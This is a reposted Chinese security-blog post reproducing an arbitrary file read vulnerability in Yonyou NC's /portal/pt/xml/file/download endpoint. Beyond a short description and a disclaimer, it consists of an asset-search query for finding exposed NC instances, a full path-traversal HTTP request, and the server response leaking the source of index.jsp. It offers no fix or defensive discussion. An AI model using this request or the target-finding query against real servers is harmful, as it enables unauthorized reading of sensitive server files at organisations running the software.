【漏洞复现】用友NC download文件任意文件读取漏洞

admin 2023年11月23日23:56:18评论112 views字数 1307阅读4分21秒阅读模式

声明

该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

漏洞描述

用友NC的download文件存在任意文件读取漏洞,攻击者可以利用该漏洞读取服务器上的敏感文件。

资产收集

web.title="YONYOU NC"

【漏洞复现】用友NC download文件任意文件读取漏洞

漏洞复现

【漏洞复现】用友NC download文件任意文件读取漏洞

构造请求包

GET /portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp HTTP/1.1Host: Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=266F7C94FD81B1DDB46D63E353DA97AF.serverConnection: close

返回包

【漏洞复现】用友NC download文件任意文件读取漏洞

HTTP/1.1 200 OKServer: Apache-Coyote/1.1Content-Disposition: attachment; filename=..index.jspContent-Type: application/x-msdownloadDate: Wed, 22 Nov 2023 01:47:14 GMTConnection: closeContent-Length: 447
<% response.addHeader("Cache-Control", "no-store"); request.getSession(true);%><html> <head> <link rel="shortcut icon" href="/portal/ufida.ico"/> </head> <body> <script> <% if(nc.uap.lfw.core.LfwRuntimeEnvironment.getLfwSessionBean() != null){ out.print("window.location = 'pt/home/index?lrid=1';"); }else{ out.print("window.location = 'app/mockapp/login.jsp?lrid=1';"); } %></script> </body></html>

原文始发于微信公众号(Devil安全):【漏洞复现】用友NC download文件任意文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月23日23:56:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】用友NC download文件任意文件读取漏洞https://cn-sec.com/archives/2232588.html

发表评论

匿名网友 填写信息